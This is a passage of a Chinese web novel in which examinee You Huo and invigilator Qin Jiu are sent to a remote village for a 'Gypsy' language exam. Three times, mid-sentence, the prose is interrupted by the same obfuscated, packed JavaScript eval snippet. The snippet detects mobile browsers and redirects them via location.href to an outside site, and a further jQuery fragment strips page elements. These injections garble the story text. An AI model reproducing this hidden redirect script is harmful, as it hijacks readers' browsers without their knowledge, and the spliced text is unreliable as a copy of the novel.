考生休息处的7天眨眼就过。 最后一天下午3点12分,全员自动退房,楚老板亲自把他们轰出大门。 “喏,朝前直走,200米处有个十字路口,去吧。”楚月冲他们挥了挥手说:“千万别耽搁,晚了选择权就不好使了,希望这次不是永别。” 她说完就关上了旅店大门。 那个写着“住宿、暖气、餐饮”的灯箱闪了两下,忽地灭了。 那几栋房屋依然站在雪雾里,但一盏灯光都没有,就像是早已废弃多年的危房。 “这真不是鬼屋?”于闻打了个寒噤。 游惑想起之前问监考官的话。 他问这是不是灵异事件,监考官回答说不是。对方当时还想补充点什么,但还没来得及开口,就收到了违规预警。 所以…… 这究竟算什么呢? 游惑在心里琢磨,等下一场考试开始,一定要找机会骗监考官说实话。 希望这次抽到的监考官老实好骗。 · 200米说长不长。 大家很快走到了楚月说的地方。 那确实是一个十字路口,路口中间孤零零地竖着一个保安亭,亭子外面瘫靠着一个人影。 那人看到他们,挣扎着站起来。 大家走近了才看清,正是那位不愿意住休息处的纹身男。 不过他此时已经变了一番模样,浑身血迹斑斑,左胳膊毫无生气地垂着,一条腿也瘸着。 “你怎么成了这样?” 虽然大家都不太喜欢他,但也没人希望他变成残废或者死去,毕竟原本只是陌生人,无冤无仇。 纹身男哑着嗓子说:“没疯就不错了。” “你在这呆多久了?”大家看着保安亭。 纹身男说:“两天。” “干嘛不回考生休息处?” 纹身男脸色有点尴尬,又有点愤怒:“回去时孙子,而且……我转身就找不到路了。原路返回也没能找到那几栋房子,只有这里。” “那你怎么没继续走?”于闻问。 纹身男扫视一圈,指着几个路口说:“自己看路标。” 经他提醒,大家这才注意到,十字路口通往四个方向,每个路口都竖着一块牌子。 正常情况下,那些牌子上会写xx路或者xx街。 但是这里不是。 这里东南西北四个路牌,分别写着四个词: 语文 外语 数学 历史 保安亭内,小喇叭突然响起来,收音机里那个熟悉的声音又出现在了这里。 【本轮考试制度为3+1+1,恭喜你们顺利完成了其中一门,现有另外四门待考。】 【考生拥有选择权,可以自主安排考试顺序。】 【请在30秒内做出选择。】 【迟到者,剥夺考试机会。】 众人:“……” 这种十字路口,他们更想原地站到去世。 狗腿于闻一把抓住游惑,说:“哥,你选哪个我就选哪个!” 其他人也纷纷看着他。 谁知游惑扫视了一圈,面无表情地说:“有得选?我这里四个方向显示的都是外语。” 于闻:“啥???” 更烦人的是,在游惑的视线里,每个路口都有一个身影。 那人个子很高,在雪中撑伞而立,似乎在等他。 游惑冷笑一声,脸气绿了。 15. 外语语种 游惑:“于闻。” “嗯?”突然被点名,于闻立刻应声:“怎么了?” 游惑:“你看到的路口有人么?” 于闻茫然四顾:“人?什么人?” 游惑目光落在远处:“比如某些阴魂不散的监考官。” 于闻:“……你不要讲鬼故事!” 科目都还没选呢,监考官来干嘛??? 其他人听见游惑的话,也都纷纷转头扫视一圈,四个路口除了标牌空空如也。 “算了,没事。”游惑说,“我这里只有外语,没别的选择,你确定要跟我?” 于闻说:“其实外语是我的软肋。” 游惑睨了他一眼。 于闻又说:“但我想了想,好像也没有哪个不是软肋。” 游惑:“……” 于闻双手合十拜大佬:“哥,你去哪儿我去哪儿!做牛做马都可以,保佑我门门都过,长命百岁。” 游惑:“……” 一群人都眼巴巴地看着他。 游惑“啧”了一声,把外套拉链拉到了头,掩住下巴和嘴唇,懒懒地咕哝道:“麻烦。” “哥你说什么?”于闻没听清,凑了过来。 游惑的脸快跟雪混为一体了:“我说,你们的外语在哪边?” 众人纷纷指向左手边。 游惑抬脚就走。 保安亭内,小喇叭又开始催命: 【友情提示,选择时间还剩5秒】 众人一惊,撒腿就跑。 竖着“外语”标牌的路口和其他三条一样,浓雾弥漫。没有人知道,雾后面会有什么等在那里…… 【4秒】 【3秒】 【2秒】 【1秒】 【自主选择权关闭。】 在倒数计时清零的瞬间,最后一位也险险踏进浓雾里。 · 秦究穿着黑色大衣,鸽灰色的羊绒围巾掩在衣领里。他一手插在大衣口袋中,另一只手举着一柄黑伞,不急不慌地等着来人。 游惑高高的身影穿过浓雾。 他面容冷白,神情恹懒,右肩松松垮垮地挂着一只黑色背包。 明明距离还远,秦究却能看清所有细节。对方浅棕色的眼珠总好像蒙了一层薄脆的玻璃,跟单边的耳钉一样,含着冷冷的光。 秦究微抬伞沿,白色的雪顺着紧绷的伞骨滑落下来。 看着游惑走到近处,他礼貌地倾了一下手,把游惑笼进伞下,拖着调子说:“真巧,又见面了,哼先生这几天睡得还好么?” 游惑:“……” 明明知道名字,非要叫诨号,是不是有病? 他看了秦究两秒,冷声说:“剥夺选择权就是哪哪都有你?” 秦究眯起眼笑了一声:“不能这么说。所谓的剥夺选择权,就是指违规考生,也就是你,在进入下一场考试时,无权自主选择考试科目。应该考什么,要看主监考官,也就是我,下一场监考什么。这么解释你能明白吗?” 游惑:“……” 他那语气,活像在给一个撒泼的小鬼讲道理。 这显然是一种故意的挑衅,听得游惑一肚子气,脸都冻硬了。 秦究看着他的脸色,笑意更深:“至于监考官监考什么,一般而言是可以选的,但我有点懒,所以总是随机,这次随机到了外语。不过,看你的脸色似乎很不高兴,下次——” 游惑臭着脸打断他:“还他妈有下次?” 秦究:“很难说,毕竟你前科累累。” 游惑:“……” 秦究:“你希望随机到哪门,可以提前告诉我。表现良好的话,可以考虑。” 游惑想说我希望你随机去世,你能不能考虑一下? 但他想了想,照这系统的有病程度,搞不好他得跟着一起去世。 于是他攒了一肚子气,顶着一张送葬脸,一言不发地等在浓雾边。 · 没过片刻,于闻拖着老于从雾里钻出来,然后是于遥和Mike。 “哥!”于闻匆匆跑过来,一看见秦究就来了个急刹车:“你、您怎么在这?” 强烈的求生欲让他换了敬称,但掩盖不了他活见鬼的表情。 秦究慢条斯理地说:“陪着你哥等你们。” 于闻更见鬼了,一脸惊悚地看向游惑。 游惑:“……” 如果目光能变成刀,秦究已经凉了。 于闻装着胆子说:“上一轮的全程监控还要带到这轮来吗?” 秦究瞥了他一眼。 于闻:“哦。” 在于·非常怂·闻同学眼里,这位001监考官也是一位大佬。大佬总是傲慢的,只有同样的厉害角色,比如他哥,才能引让对方多看一眼,多说两句。 他很有自知之明,所以不敢多搭话。 · “周进他们还没来?”于遥跟Mike也过来了。 老于说:“刚刚就跟在后面,再等等。” 结果他们等了一会儿,等来两个陌生面孔。 一个国字脸,个头不高,但浑身肌肉虬结,挎着一个运动包。 另一个瘦削一些,紧裹着外套,嘶哈嘶哈地往手上呵气。 “怎么回事?还有其他人?”于闻惊讶地说。 游惑看向秦究。 秦究歪了一下头,问游惑:“有人说过考试成员总是固定的吗?” 游惑:“……没有。” 秦究说:“选择同一门考试,不代表会分在一个考场。比如922和154号监考官,这次也随机到了外语,但他们就不在这一场。说明什么呢?” 游惑:“说明他们也不想见到你。” “……” 于闻看了秦究一眼,深怕他哥把监考官当场气死。 谁知秦究只是眯着眼睛笑了一下:“错了,说明这场考试人数少,只需要一名监考官。” “人数少?” 游惑皱起眉。 · 果然,他们又在浓雾边等了五分钟,再没等到上一场的人。 事实证明,周进他们都被分去了另外的考场。 原本的团队虽然老弱病残孕五毒俱全,但好歹相处过,知道一点底。 现在多了两个陌生人,又需要新的磨合。 也不知是好是坏。 “还好老于没丢。”于闻后怕地说 · 那两位陌生人对新同伴见怪不怪。 国字脸眉心始终皱着,看上去很凶,冲大家点了一下头,就不理人了。 那位瘦削的倒是热情一点:“我叫陈斌,重庆来的。他叫梁元浩,河北的,是吧?” 他转头问了梁元浩一句,梁元浩扫了众人一眼,“嗯”了一声算是回答。 “重庆的啊?我以前那边当过几年兵,这么算来也是老乡。”老于作为社交鬼才,拐弯抹角又认了个老乡,很快跟陈斌熟络起来。 “我跟梁元浩前一门同考场,这次又分到一起,也算缘分。这是我第三门考试了。”陈斌提起这个很丧气,“前两门都是侥幸才能活下来,分数低得吓人,及格希望渺茫。” 老于正要安慰,游惑忽然插了一句:“你知道及格多少分?” 陈斌一愣:“60啊,你们不知道吗?” 老于摇头说:“不知道,我们上一门的满分好像是……24吧?还有什么额外的加加减减,搞不明白。反正不是什么整数,也没听说过其他几门多少分,算不出及格线。” 陈斌问:“你们没碰到过老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730166|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手吗?” 老于:“没有,上一场的人都跟我们一样,头一回。” 陈斌:“哦,那就怪不得了。我刚好碰见过一个有经验的兄弟,他说每门考试的卷面分数会略有出入,但五门一起刚好100分,所以咱们总分得过60才行。” “60啊……”老于一脸愁容地掰指头。 陈斌更愁:“我两门下来才10分,剩下三门得考成什么样!” 梁元浩脸色铁青,有点烦躁地走远几步。 陈斌冲众人解释说:“他人不错的,只是考完三门了分数还不太理想,有点急……” 这毕竟是要命的事,脾气再坏都正常。 众人表示非常理解。 于闻指着Mike安慰说:“别焦虑!看,咱们有秘密武器大宝贝!这场考外语,我们有外国朋友Mike!” 陈斌委婉地说:“看到了,一来我们就看见了。但是我刚刚发现,这位朋友好像不太会说中文?那鸡同鸭讲,一样要糟……” 于闻又指着游惑安慰说:“没事,我哥在国外住过一阵子,他也可以。不过……他不太爱说话。” 陈斌一下子活过来:“没关系,有懂的就行!” 就连梁元浩都跟着活了几下。 Mike和游惑仿佛一剂强心针,队伍氛围瞬间轻松了一些。 · “所以……我们现在要去哪儿?”聊了半天的人终于开始面对正事。 游惑面无表情地往左边一指。 大家这才发现,三米开外,竖着一块公交车站牌。 站牌是最简陋的那种,用一根铁杆支着。 万幸,牌子上的字是中文,写着“城际大巴”,下面礼貌性地用英语翻译了一遍。 至于这辆巴士发往哪里,途径哪里,则一片空白,什么信息都没有。 就在大家愣神的时候,大雪里忽然传来了喇叭声。 一辆车从浓雾里开出来,颤颤巍巍地停站牌前。 那辆车灰尘太厚,几乎看不出原本的漆色,车轮上溅满了泥。用“大巴”形容实在抬举它了,它更像上个世纪九十年代摇摇晃晃的中巴,拐弯都喘的那种。 这车? 考外语? 众人神情古怪,心里直犯嘀咕。 就连监考官秦究的表情都不太好。 看到001不开心,游惑就放心了。他拎着背包,第一个上了车。 车厢里倒没那么破旧,座位还算整洁。 游惑在最后一排靠窗的位置坐下。 见秦究也上了车,他摸出手机拨弄了一下,然后塞上白色耳机,靠着窗户开始睡觉。 司机是个黝黑的中年人,从头到尾没说过话,不知道是不是哑巴。 他看见众人挨个上了车,便一踩油门出发了。 · 就在游惑真的快要睡着时,车内广播又开始报丧了。 【现在是北京时间6:30。】 【离考试正式开场还有30分钟,下面宣读考试纪律。】 熟悉的考场纪律一一重复。 有Mike和游惑这两颗定心丸在,众人情绪普遍比较稳定,不像第一次那样抖得厉害。 【考试过程中如发现违规舞弊等情况,将逐出考场。】 【其他考试要求,以具体题目为准。】 就像恶作剧似的,广播在这里停了一会儿,直到众人消化完所有内容,它才缓缓憋出最后几句话。 【由于场次特殊,提前播报考试信息。】 【本场考试时间:10天。】 【本场考试科目:外语】 【本场外语语种:吉普赛】 【祝各位取得好成绩。】 众人:“……” 你再说一遍??? 16. 黑婆 广播说完考试信息就死了,车里一片寂静。 什么大宝贝什么定心丸,在“吉普赛”面前统统成了做梦。 大家茫然片刻,瘫软在了座位上。 中巴瞬间变灵车,拖着几个凉人。 睡觉被吵醒就够令人讨厌的了,还是被这种糟心事吵醒。游惑正要坐直,就从眼缝里看见某人朝这里走来。 他立刻闭上眼,假装已经睡死过去。 中巴像开在云中,毫无颠簸。 脚步声在旁边停下,游惑脑后枕着的椅背塌陷了一块。接着,他的耳机线被人轻扯了几下。 “……” 游惑冷脸装睡。 耳机线又被轻扯几下,连带着耳垂耳钉都在动。 “……” 游惑继续装死。 “信号都没有,塞得哪门子耳机?别装了。”某个熟悉的、拖腔拖调的声音响了起来。 “……” 游惑实在装不下去了。 他半睁开眼,眸光从眼尾瞥扫出来,看着耳机线上那只手:“有事?” 问完这句话,他才抬眼看向站着的人。 从神情到语气,充分表达了“有屁放没屁滚”的傲慢情绪。 秦究收回揪耳机线的手,搭在前座的椅背上。 他用下巴指了指游惑身边的座位,似笑非笑地说:“你的背包?麻烦它让个座。” “它不愿意。” 游惑面无表情地说完,塞紧耳机,又闭上了眼。 没过两秒,那烦人的手又来了,直接摘了他的耳机。 手指擦过耳郭耳垂的时候有点痒。 游惑抬手捏住耳钉,拧着眉睁开眼:“还有什么事?” “如果它实在不愿意,我只好自己动手了。”秦究笑着拎起黑包,轻掂了一下分量,然后搁在了游惑头顶的行李架上。 游惑盯着他:“你不能换个空座?” 秦究:“恐怕不能。全车一共九个座位,你们占了七个,我不坐这里就得去捆司机了。你很难说,但其他人应该不希望我那么做。” 游惑:“……” 他上车的时候根本没数过座位,谁能想到一个破车位置这么紧张。 秦究在身边坐下。 这人穿着大衣显得高高瘦瘦,但靠近了就能感觉到,他的身材应该是挺拔悍利的,隔着布料都能感觉到硬邦邦的手臂和体温。 还好车内座位不多,前后排空间大,否则这两人的腿都无处安放。 但即便如此,膝盖还是不可避免会碰到。 游惑想把腿伸直,但那样会踢到前座的人。 而且这种时候,好像谁先让开,谁就落了下风似的。游惑想了想,干脆破罐子破摔,重重抵在秦究膝盖上。 他拉高衣领准备合眼睡觉,就听秦究低声咕哝:“吉普赛,真行。” 游惑气醒了:“这不是你选的科目?” 秦究瞥了他一眼,手指懒洋洋地比了个缝:“要这么说,我有一点冤。” 你冤个屁。 游惑冷冷看着他。 “看看你们挑的人。”秦究指着Mike坐的地方,“据我所知,这位考生身世很缤纷啊。混了美国、法国、俄罗斯、西班牙四种血,然后长成了这样。” 游惑:“……” “抱歉,不小心带了点攻击性。”秦究看上去一点儿也不抱歉。 游惑:“考生信息你都有?” “你猜?”秦究嗓音低沉,即便拖着腔调也很好听。 游惑冷嗤一声。 既然能把人拉来这个鬼地方,他相信考试系统应该掌握了完整的信息。那监考官们知道多少呢? 游惑回想他们之前的表现,感觉应该不多。 监考官也受规定束缚,或许……他们想知道考生的具体信息,也需要走一个获取流程?而且那个流程应该不简单。 否则001、154、922第一个要查的就是他。 秦究支着头,乌沉沉的眸子看了他一会儿说:“放心,一般而言,我对考生信息没什么兴趣。” 游惑“哦”了一声,极其敷衍。 “总之,队里有这么个宝贝,你们轮到这种鬼地方也不稀奇。”秦究说。 游惑不知道所谓的考试系统背后究竟是什么,但感觉是个刁钻古怪的脾气。为了避让他们这组人所有的“母语”,九曲十八弯地搞出个“吉普赛”,似乎也是情理之中。 既然找到了原因,他便没再把锅扣给秦究。 而且不知道是不是错觉,从刚才上车起,秦究就显示有点不太高兴。 游惑看着垂眸出神的监考官…… 也许是车外雪光太亮,他眼睛又疼起来,有点难受。 他草草揉了两下,塞上耳机继续闷声睡觉了。 …… · 车行驶了十分钟,路边突然颠簸了一下。 颓丧的考生们被颠回神,这才发现车外的景象已经变了。 漫天的雪雾已经没了踪影,眼前是一条盘山公路。 路况不好,车开上来之后便一路颠个不停,到处都是凝固的泥巴、硌脚碎石。 这路还很窄,如果两方会车,都得挂一档,一点点挪蹭过去。 山下草木拢生,一眼望不出深度,滚落下去很可能尸骨无存。 就这样,这破中巴还开得格外奔放。 行至中途,司机松开一只手去拧广播旋钮。车内广播滋滋响了几下,跳转到某个频段,唱老旧的歌,偶尔穿插一句交通提示,说某山路部分路段有山体滑坡的情况,无法通行。 播报间,车前方就出现了一块警示牌。 警示牌前面是一大块山石和横倒的树,正常车子显然过不去。 但司机居然完全无视警示牌,开着破车摇摇晃晃颠了两下大的。 众人一阵惊呼,等他们重重落回座椅,车已经穿过了滑坡路段,继续往深山里开去。 · 自从进了深处,天倏然阴沉下来。 车里明明有暖气,大家依然不自觉地打了个寒颤。 从盘山路另一边出来时,路边有一个老旧的路牌,标着道路编号。 老于裹紧了衣服缩在座位上,看着那个编号咕哝:“这条路好像靠近边境了……” “真要出去?”于闻瞪大眼睛。 老于:“不知道啊。” 于闻缩着脖子,慌忙盯着车外:“边境线能乱窜吗!” 说话的功夫,中巴车一个大转弯,钻进了路边的林子里。 众人被这神鬼莫测的路线弄蒙了,想问问吧,司机又是个哑巴。 又过了10分钟。 车子从林中钻出,在泥路边急刹车。 · “哥,醒醒,下车了。”于闻单腿跪在座位上,越过椅背去叫游惑。 他是真的佩服他哥的大心脏,居然睡得这么沉。 游惑扒拉了一下头发,半睁着眼扫过身边,座位已经空了。 他下半张脸掩在衣领里,闷声说:“人呢?” “啊?”于闻没听清。 游惑摇了摇头彻底醒了。 他站起身跺了跺睡麻的脚,低头朝窗外看去:“这哪儿?” 这回于闻听清了,“不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730167|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,司机把车停这就跑了。” “什么叫跑了?” 于闻朝窗外一指:“喏,就这么一条泥路,他跑进去了。” 他们似乎停在了某个村子路口,穿过杂乱的树枝,隐约能看见高低交错的屋顶。除了一条通往村子的小路,再没有其他可以走的地方。 他们被看不到边际的树林围住了。 于闻跟在游惑身后下了车。 考生们傻在车门外面面相觑。 监考官秦究则远远站在林子里,扶着一棵树,不知抬头在看什么。 “老于说之前那条路靠着边境,咱们会不会在现实里的某个地方?”于闻问游惑。 新加入的陈斌插话说:“以我的经验,应该不会。不过你会在这里看到一些现实的影子,某些东西甚至在哪里见到过。” 于闻:“如果不是现实存在的地方,那所谓的死,是真的死么?” 陈斌苦笑一下:“不知道,只有试了才知道。但谁敢拿这种事去试呢?” 于闻垂头耷脑地说:“也是……” 游惑没纠结这种话题,他下车之后在泥路附近转着一圈。 没多会儿,他踢了踢某处说:“这有地碑。” “我正找着呢,原来在你那儿。”陈斌是个有经验的,下了车也在到处找信息。 他走过来蹲在地碑面前,扒开覆盖的杂草:“应该写着地名吧,虽然用处不算大,但是能知道自己在哪儿也是个安慰……” 大家闻言都围过来。 就见那破烂不堪的石碑上面刻着几个奇奇怪怪的图形。 “这画的什么?” “字母吧……” 陈斌从包里掏出纸巾,把沾了泥巴的部分擦掉,大家艰难地辨认着。 于闻:“k……这是a?” 陈斌:“lo……这又是个什么玩意儿?” “p吧。”于遥扶着肚子,歪着头认字:“那个像h……u……v。” 撇开那些杂七杂八不知有用没用的部分,这碑上刻的地名长这样: kalophuv 众人:“……” 啥玩意儿啊这是。 讲个笑话,看地碑能知道自己在哪儿。 · 大家正崩溃的时候,那个一声不吭跑了的司机又回来了。他带了两脚黑泥以及一位裹着军大衣戴着皮帽的中年男人。 看脸,应该是国产的。 司机说:“喏,就这些人。” 老于一愣:“你会说话啊?!” 司机瞥了他一眼,声音沙哑地说:“他会把你们带去那家的,记得啊,林子别进。” 他说完冲皮帽男摆了摆手,转头钻进中巴车,开着车就走了。 车子歪歪扭扭钻进林子里,转眼间,就被层叠的枝丫遮挡住,没了踪影。 甚至连油门和摩擦声都消失了。 林子异常安静,众人寒毛直竖。 · “我们是来做什么的?”游惑问那个皮帽男。 皮帽男“啊”了一声,说:“不是说来找黑婆吗?怎么?你们自己都懵了?” “黑婆?黑婆是谁?”陈斌跟过来问。 皮帽男不知为什么瑟缩了一下,他把帽子下口封好,垂着眼闷声说:“一个老婆婆,当年战乱时候跟着老毛子来这里的,好像是什么吉普赛人,反正……” 他又把自己裹得更紧一点,小声说:“我带你们过去吧,你们小心一点。她到了这里后,我们整个村子都不正常。你们怎么想的……要来这住十天?” 众人欲哭无泪,心说我们有病吗想住这里。 17. 分配房间 带路的皮帽男是村长,他说这叫“查苏村”,一共有十八户人家。 村子靠近边境,当年战乱的时候,黑婆跟着俄罗斯人流落到这里,就这样寄住下来。 那个地碑就是她刻的,代表着什么意思,村长也说不清。 众人跟着他,沿着泥路往村子里走。 小路一边是河,结了一层厚厚的冰。另一边是高低错落的房屋,有些是水泥墙,有些还保留着砖砌的痕迹,但不论什么结构,屋顶都是一模一样的暗红色。 “不是说十八户么?”于闻小声嘀咕,“这些房子随便数数也不止十八家吧?” 村长就像没听见一样,裹紧军大衣闷头往前走。 “哎,别走那么快啊,问您话呢老哥!”老于这时候还不忘加个“您”。 村长被他拍得一惊,终于停了一下脚步,含糊地说:“以前肯定不止十八户,走了一些死了一些,慢慢人就少了嘛。” 他随手指了两家:“像这栋,还有这栋,一看就是没人住的。” 老于正要点头,就听游惑不冷不热地插了一句:“看不出,我觉得每家都像没人住的。” 村长一愣:“为什么这么说?” 游惑:“太安静。” 他说完,所有人都刹住脚步。 杂乱的脚步声一停,反常的寂静就被突显出来。 真的太安静了。 明明是清早,却没有人语、没有锅碗瓢盆碰撞的声音、没有开门关门声…… 什么都没有。 众人起了一身鸡皮疙瘩,齐齐瞪着村长。 村长尴尬中透着一丝恐惧。他犹豫了片刻,长叹一口气:“真的有人住,只不过……大家不太敢出门,一般能睡多久睡多久。” “不敢出门?为什么?” 村长小心地朝远处瞥了一眼。 众人跟着看过去。小河另一头有几间风格迥异的矮房子,灰扑扑的很不起眼,就连屋顶也是黑色,几乎跟它背后的树林融为一体。 村长似乎怕被什么人听见,用极低的声音悄悄说:“夜里不安全。你们在这里住的话,千万记住,晚上别出门,听见什么都别开门。” “什么意思?”众人又怕又疑惑。 但村长已经不敢再说了,他连忙摆了摆手,闷头继续带路。 大家一头雾水,但又不敢多问。 · “卧槽。” 行路中,于闻突然惊叫一声,拱着游惑说:“哥,看那间房子。” 游惑看过去,其他几个听见的人也跟着朝那边望。 就见某栋房子二楼,有人站在窗帘后,静悄悄地看着他们。 “冷不丁瞄到窗边一张脸,吓死我了!”于闻摸着胸口说。 紧接着他们便发现,这样做的不止一家。 好几栋房子里,都有人这样扒开窗帘,悄悄往外看。 村长说:“有客人来,他们也很好奇。只是被吓多了,轻易不敢出来。” “那就一直在屋子里呆着?”于闻讶异地问:“饿了怎么办?不吃不喝啊?” “我们这里家家都有地窖,地窖里储着粮呢,有梯子下去。”村长解释说,“而且也不是完全不出门,下午或是快傍晚的时候,大家会出来活动一下。但天黑前都会回屋。” “哦。” “跟那位黑婆有关?”游惑问。 村长缄默片刻,点了点头又轻声说:“我听说你们是来找她做活儿的?” “做活?什么活?” 听到这种跟目的相关的事,大家都竖起了耳朵。 “死人活啊!”村长把自己吓得一脸青灰,压低了嗓音幽幽说:“黑婆喜欢跟死人打交道,比如把碎掉的人缝起来。” “……” 村长:“家里人丢了,找她算算死没死,死在哪个地方。” “……” 村长吓别人很来劲:“有时候还自己捡人回来做。” 于闻都吓蒙了:“……什么叫捡人回来?” “好比几年前吧……”村长指着那条结冰的河说:“这条河头上就漂过来一个姑娘,黑婆拖了个大篓子,拾掇回去了。” 漂?拾掇? 这人用词是个鬼才,把大家瘆得不行。 好几个大男人都呕了一下,于遥更是腿都软了。 倒是游惑没什么变化:“既然她做的都是死人活,你们活人怕什么?” 村长揣着手,丧着脸摇头:“你不明白,哎……住一晚就知道了。” · 很快,村长带着他们走到冻河尽头,踩着厚厚的冰面去了对岸。 那几间灰扑扑的屋子就杵在他们面前。 走到近处他们才发现,这几间屋子都是石砌的,外墙凹凸不平。灰色的石面上用白漆画着杂乱的图案,门口挂着风干的树枝,垫着破旧的毛毡。 其中有一间比较特别,窗台上还放着老旧的水晶球、以及一些……白森森的东西,就像是手指骨。 众人还没进屋,就闻到了一股熏香味,浓得人头晕。 村长恨不得离房子八丈远。 “这间就是黑婆住的地方。”他伸头看了一眼,说:“现在几点?” 众人纷纷翻出手机,却发现自己屏幕上显示的时间是晚上23:13,显然跟这里不同步。 正懵着,一个低沉的嗓音响起来:“6点55分。” 大家转头看过去,说话的是秦究。 他晃了晃自己的手机,说:“还行,比你们准一点。” 陈斌一脸惊讶:“这位帅哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730168|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点厉害啊!每门考试的季节时间都跟现实不一样,你手机怎么做到这么同步的?” 秦究把手机重新放回口袋,懒懒地说:“可能因为我是监考吧。” 陈斌一边理包一边“哦”了一声。 两秒后,他手一滑,包啪地掉在地上。 “你谁???” 秦究没搭理他,而是从口袋里摸出一张卡牌,偏头对身边的游惑说:“我这算不算帮了你一次?” 牌是游惑之前抽中的那张【监考官的帮助】。 游惑抽走卡牌,翻转了一面,直接怼到秦究鼻尖前:“麻烦把字认全,额外的帮助,知道额外什么意思吗?” 秦究似笑非笑:“不太知道。” 笑屁。 游惑:“滚去查字典。” 考生没戴手表,问监考老师时间,这能算额外帮助吗?当然不算,这就跟拉着监考老师去厕所一样,这是本职工作。 卡牌当然没有报废,秦究说了一句“真遗憾”,又把牌收回了口袋。 村长茫然地站了一会儿才回神,提醒众人说:“黑婆每天早上7点30起床,那之前是不开门的。我先带你们认一下住的地方吧。” · 除了黑婆住的那间之外,旁边空着的屋子一共有四间。 每间屋子都很狭小,里面铺满了针织旧毛毯,只有一间卧室,一张床,打扮得像个马车篷。 村长说:“得麻烦你们挤一挤了。” 新加入的陈斌和梁元浩当然住一间,于遥一个姑娘家不方便跟其他人合住,所以单独一间。 剩下于闻、老于、Mike、游惑还有秦究,得分两间。 游惑想了想,问秦究:“这里有你的监考小洋楼么?” 秦究:“托你的福,全程监考,没有小洋楼可以住。必须得挤在这狭窄、逼仄、不太干净的地方。” 游惑假装没听见,绷着一本正经的脸对村长说:“你看着办吧。” 于闻说:“要不,我、老于、我哥三人挤一挤,都是一家的嘛!” Mike看了秦究一眼,抵死不从。 谁看到监考官都怕,数来数去……只有游惑除外。 · 两分钟后,众人小心翼翼看着游惑和秦究走进其中一间。 刚准备坐下,屋子里突然响起了熟悉的声音。 【现在是北京时间7:00整,考试正式开始。】 【第一场考试,听力。】 【听力原文将于30分钟后开始播放,每道题只播放两遍,希望考生认真答题。】 【另,禁止考生和监考官发展不正当关系,请重新分配房间。】 众人:“???” 游惑:“……” 系统可能不想活了。 18. 听力题 等待题目的过程本该是紧张的。 但系统一句没头没尾的警告,愣是把这种紧张告没了。 考生们惊呆了,却没人敢乱说话。 于闻原本想跟进屋看看,现在悬着一只脚,进也不是,不进也不是。 因为屋里两位大佬的氛围有点吓人…… 游惑看了秦究一眼,又没什么表情地收回视线。 他顶着一张送葬脸,沿着墙线在屋里找了一圈,终于找到了发声源。 那是一只乌鸦标本,僵硬地站在铜架上,翅膀支棱着,鸟嘴大张。 十几秒前他们刚进门的时候,鸟嘴还是闭着的。 游惑连腰都没弯,垂着眼皮看乌鸦:“考试系统谁在操作?傻逼话谁设置的?有地方投诉么?” 乌鸦:“……” 游惑转过头去看秦究。 秦究手腕上“滴”了一声,亮了红光。 他摸着手腕对游惑眨了一下眼:“友情建议,这种事能不问就别问。第一次是警告我不能违规泄密,再问一次,就是你被逐出考场了。” 游惑拍了拍乌鸦的头。 乌鸦:“……” 秦究的眼珠深黑,在游惑脸上停了片刻,才转而看向乌鸦。 “行,换房间,那我跟那位混血考生住吧。”他盯着乌鸦的眼珠说。 这次乌鸦静了两秒。 大家以为妥了,谁知它又突然出声,重复着之前的话: 【禁止考生和监考官发展不正当关系,请重新分配房间。】 为了照顾Mike,它还用英文翻了一遍。 Mike:“……” “或者跟这位?”秦究又随手一指于闻。 【禁止考生和监考官发展不正当关系,请重新分配房间。】 “……” 大家在复读机一样的声音中明白过来,这应该不是针对秦究和游惑,这踏马是把全员当泰迪了。 于闻悄悄拱了拱亲爹:“这系统受过什么刺激吧?敏感成这样……进一间房就是乱搞,凑一张床那不得子孙满堂?” 老于:“不准乱讲荤段子!” 于闻:“???” · 秦究也走到了乌鸦面前,他说:“干脆全程监考也算了,让这位考生自由发挥。” 滴—— 违规预警。 监考官001先生彻底气笑了。 不让同住一间房,还得全程监考。 这说的是人话? · 秦究摩挲着手腕,看着乌鸦。 那一瞬间,众人明显能感觉到气氛很紧绷。 他看上去似乎要做点什么,可片刻之后,他只是不紧不慢地说:“这样吧,考生住房间,我委屈一点,在沙发上将就一下。” 这次乌鸦总算没有再出声,算是默认了这种处理方式。 众人长长松了一口气。 游惑奇怪地看了秦究一眼。 尽管他跟这位监考官很不对付,也不得不承认,秦究身上有种特别的气质。就好像那些条条框框的规定根本束缚不住他。 这位001号监考官就算笑着站在那里,用漫不经心的腔调跟考试系统打商量,也给人一种……随时会搞垮规则的感觉。 他的让步和妥协,就像狮子懒散地打了个盹,并没有削减任何攻击性。 好比犯困的狮子说啾人一口,谁敢让它啾? · 